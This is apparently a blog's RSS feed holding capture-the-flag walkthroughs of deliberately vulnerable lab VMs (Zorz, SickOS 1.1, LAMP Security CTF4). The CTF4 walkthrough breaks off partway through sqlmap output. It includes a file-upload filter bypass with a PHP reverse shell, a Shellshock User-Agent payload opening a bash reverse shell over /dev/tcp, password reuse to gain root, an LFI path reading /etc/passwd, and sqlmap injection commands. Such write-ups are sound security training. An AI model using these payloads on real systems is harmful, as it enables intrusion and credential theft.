$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Level 2 complete.&lt;/p&gt;

&lt;h2 id=&quot;level-3&quot;&gt;Level 3&lt;/h2&gt;

&lt;p&gt;Level 3 was beaten simply by renaming the php reverse shell to &lt;code&gt;php-reverse-shell.php.png&lt;/code&gt;, this was enough to bypass the filtering.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/level3.png&quot; alt=&quot;Level 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;An alternative solution would of been to use burp to upload the file + change the content type.&lt;/p&gt;

&lt;h2 id=&quot;flag&quot;&gt;Flag&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;l337saucel337
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls
&lt;/span&gt;SECRETFILE
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;SE
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt;: SE: No such file or directory
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;SECRETFILE
Great job so far. This box has 3 uploaders.

The first 2 are pure php, the last one is php w/jquery.

To get credit &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;this challenge, please submit a write-up or instructions
on how you compromised the uploader or uploaders. If you solve 1, 2, or all
of the uploader challenges, feel free to shoot me an email and &lt;span class=&quot;nb&quot;&gt;let &lt;/span&gt;me know!

Thanks &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;playing!
http://www.top-hat-sec.com
&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Level 3 complete.&lt;/p&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>SickOS 1.1 - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/sickos-1-walkthrough/</link>
          <pubDate>Thu, 11 Jan 2024 11:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/sickos-1-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Intermediate&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#host-enumeration&quot; id=&quot;markdown-toc-host-enumeration&quot;&gt;Host Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#squid-enumeration&quot; id=&quot;markdown-toc-squid-enumeration&quot;&gt;Squid Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nikto-scan-via-proxy&quot; id=&quot;markdown-toc-nikto-scan-via-proxy&quot;&gt;Nikto scan via Proxy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#shellshock-bash-reverse-shell&quot; id=&quot;markdown-toc-shellshock-bash-reverse-shell&quot;&gt;Shellshock Bash Reverse Shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-enumeration&quot; id=&quot;markdown-toc-local-enumeration&quot;&gt;Local Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#root-flag&quot; id=&quot;markdown-toc-root-flag&quot;&gt;Root Flag&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;This CTF gives a clear analogy how hacking strategies can be performed on a network to compromise it in a safe environment. This vm is very similar to labs I faced in OSCP. The objective being to compromise the network/machine and gain Administrative/root privileges on them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href=&quot;https://twitter.com/D4rk36&quot;&gt;@D4rk36&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;host-enumeration&quot;&gt;Host Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.138&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 3128&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP-Proxy&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Squid http proxy 3.1.19&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;squid-enumeration&quot;&gt;Squid Enumeration&lt;/h2&gt;

&lt;p&gt;Inspection of Squid using the metasploit module &lt;code&gt;auxiliary/scanner/http/squid_pivot_scanning&lt;/code&gt; discovered port 80 was exposed via the proxy.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sickos/metasploit-squid-pivot-scanning.png&quot; alt=&quot;Metasploit Squid Pivot Scanning&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;nikto-scan-via-proxy&quot;&gt;Nikto scan via Proxy&lt;/h2&gt;

&lt;p&gt;Nikto was configured to use the discovered Squid proxy:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nikto &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; 192.168.221.138 &lt;span class=&quot;nt&quot;&gt;-useproxy&lt;/span&gt; http://192.168.221.138:3128&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Nikto disclosed the location &lt;code&gt;/cgi-bin/status&lt;/code&gt;, indicating the target could be vulnerable to &lt;strong&gt;shellshock&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sickos/nikto-proxy-scan.png&quot; alt=&quot;Nikto Proxy Scan&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;shellshock-bash-reverse-shell&quot;&gt;Shellshock Bash Reverse Shell&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt; was used to manipulate &lt;code&gt;User-Agent:&lt;/code&gt; to include the bash reverse shell.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; ignored&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;/bin/bash &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/192.168.221.139/443 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sickos/burp-shellshock-reverse-shell.png&quot; alt=&quot;Burp Suite Shellshock Reverse Bash Shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A reverse shell was established:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nc.traditional &lt;span class=&quot;nt&quot;&gt;-lp&lt;/span&gt; 443 &lt;span class=&quot;nt&quot;&gt;-vvv&lt;/span&gt;
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...

192.168.221.138: inverse host lookup failed: Unknown host
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.139] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.138] 59815
bash: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell
www-data@SickOs:/usr/lib/cgi-bin&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-enumeration&quot;&gt;Local Enumeration&lt;/h2&gt;

&lt;p&gt;Local enumeration of the system disclosed the file &lt;code&gt;/var/www/wolfcms/config.php&lt;/code&gt; containing:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;// Database settings:
define&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;DB_DSN&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;mysql:dbname=wolf;host=localhost;port=3306&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
define&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;DB_USER&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;root&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
define&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;DB_PASS&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;john@123&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
define&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;TABLE_PREFIX&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;p&gt;The previously discovered credentials worked for MySQL root, and were reused for the user &lt;code&gt;sickos&lt;/code&gt; and again for &lt;code&gt;sudo&lt;/code&gt; as the user &lt;code&gt;sickos&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Local Privilege Escalation:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;www-data@SickOs:/&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su - sickos
su - sickos
Password: john@123

sickos@SickOs:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls
ls
&lt;/span&gt;sickos@SickOs:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; .bash_history
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; .bash_history
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;su
&lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;sickos@SickOs:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;sickos: john@123

root@SickOs:~# &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /root  
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /root
root@SickOs:/root# &lt;span class=&quot;nb&quot;&gt;ls
ls
&lt;/span&gt;a0216ea4d51874464078c618298b1367.txt
root@SickOs:/root# &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;a0216ea4d51874464078c618298b1367.txt
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;a0216ea4d51874464078c618298b1367.txt
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;Trying


root@SickOs:/root#&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;root-flag&quot;&gt;Root Flag&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sickos/root-flag.png&quot; alt=&quot;Sickos 1.1 Root Flag&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>LAMP Security CTF4 - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/lamp-security-ctf4-walkthrough/</link>
          <pubDate>Wed, 10 Jan 2024 18:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/lamp-security-ctf4-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-enumeration&quot; id=&quot;markdown-toc-http-enumeration&quot;&gt;HTTP Enumeration&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#lfi-exploit&quot; id=&quot;markdown-toc-lfi-exploit&quot;&gt;LFI Exploit&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sqlmap-enumeration&quot; id=&quot;markdown-toc-sqlmap-enumeration&quot;&gt;SQLMap Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap&quot; id=&quot;markdown-toc-sqlmap&quot;&gt;SQLMap&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-dump-hahes--crack-hashes&quot; id=&quot;markdown-toc-sqlmap-dump-hahes--crack-hashes&quot;&gt;SQLMap Dump Hahes + Crack hashes&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ssh-login&quot; id=&quot;markdown-toc-ssh-login&quot;&gt;SSH Login&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#linux-local-privilege-escalation&quot; id=&quot;markdown-toc-linux-local-privilege-escalation&quot;&gt;Linux Local Privilege Escalation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#post-exploitation-enumeration&quot; id=&quot;markdown-toc-post-exploitation-enumeration&quot;&gt;Post Exploitation Enumeration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises (not just the latest one). Check the SourceForge site to find other exercises available (http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; madirish2600&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.147&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Dislcaimer: Multiple Entry Points&lt;/h5&gt;
  &lt;p&gt;The LAMPSecurity series is not particularly challenging, for each VM in the series I&apos;ve targeted the &lt;b&gt;web application&lt;/b&gt; as the entry point.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 4.3 (protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 25&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;SMTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Sendmail 8.13.5/8.13.5&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTPD&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.0 ((Fedora))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;http-enumeration&quot;&gt;HTTP Enumeration&lt;/h3&gt;

&lt;p&gt;Inspection of the Web Application revealed the blog used GET requests.&lt;/p&gt;

&lt;h4 id=&quot;lfi-exploit&quot;&gt;LFI Exploit&lt;/h4&gt;

&lt;p&gt;The string &lt;code&gt;index.html?page=../../../../../../etc/passwd%00&lt;/code&gt; exposed the contents on the unix passwd file.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf4/LFI.png&quot; alt=&quot;OWASP DirBuster&quot; /&gt;&lt;/p&gt;

&lt;p&gt;RFI did not appear possible.&lt;/p&gt;

&lt;h2 id=&quot;sqlmap-enumeration&quot;&gt;SQLMap Enumeration&lt;/h2&gt;

&lt;p&gt;SQLMap was leveraged to enumerate, and successfully exploit &lt;a href=&quot;/penetration-testing/web-app/sql-injection/&quot;&gt;SQLi&lt;/a&gt; and dump the MySQL databases on the target.&lt;/p&gt;

&lt;h3 id=&quot;sqlmap&quot;&gt;SQLMap&lt;/h3&gt;

&lt;p&gt;Using the GET ‘id’ as the injection point, the following SQLMap command was used to successfully list tables for all databases on the target system.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.30.147/index.html?page=blog&amp;amp;title=Blog&amp;amp;id=2&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--tables&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Full SQLMap Command Output:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;_
___ ___| |_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0-dev-nongit-0826&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
|_ -| &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; | |     | .&lt;span class=&quot;s1&quot;&gt;&apos;| . |
|___|_  |_|_|_|_|__,|  _|
|_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&apos;&lt;/span&gt;s responsibility to obey all applicable &lt;span class=&quot;nb&quot;&gt;local&lt;/span&gt;, state and federal laws. Developers assume no liability and are not responsible &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;any misuse or damage caused by this program

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; starting at 12:05:38

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:38] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing connection to the target URL
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:38] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;the target URL is stable
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:39] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] target URL is stable
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:39] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] heuristic &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;basic&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;shows that GET parameter &lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt; might be injectable &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;possible DBMS: &lt;span class=&quot;s1&quot;&gt;&apos;MySQL&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:39] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;SQL injection on GET parameter &lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt;
it looks like the back-end DBMS is &lt;span class=&quot;s1&quot;&gt;&apos;MySQL&apos;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; Do you want to skip &lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;payloads specific &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;other DBMSes? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Y/n] Y
&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;the remaining tests, &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;you want to include all tests &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;MySQL&apos;&lt;/span&gt; extending provided level &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; and risk &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; values? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Y/n] Y
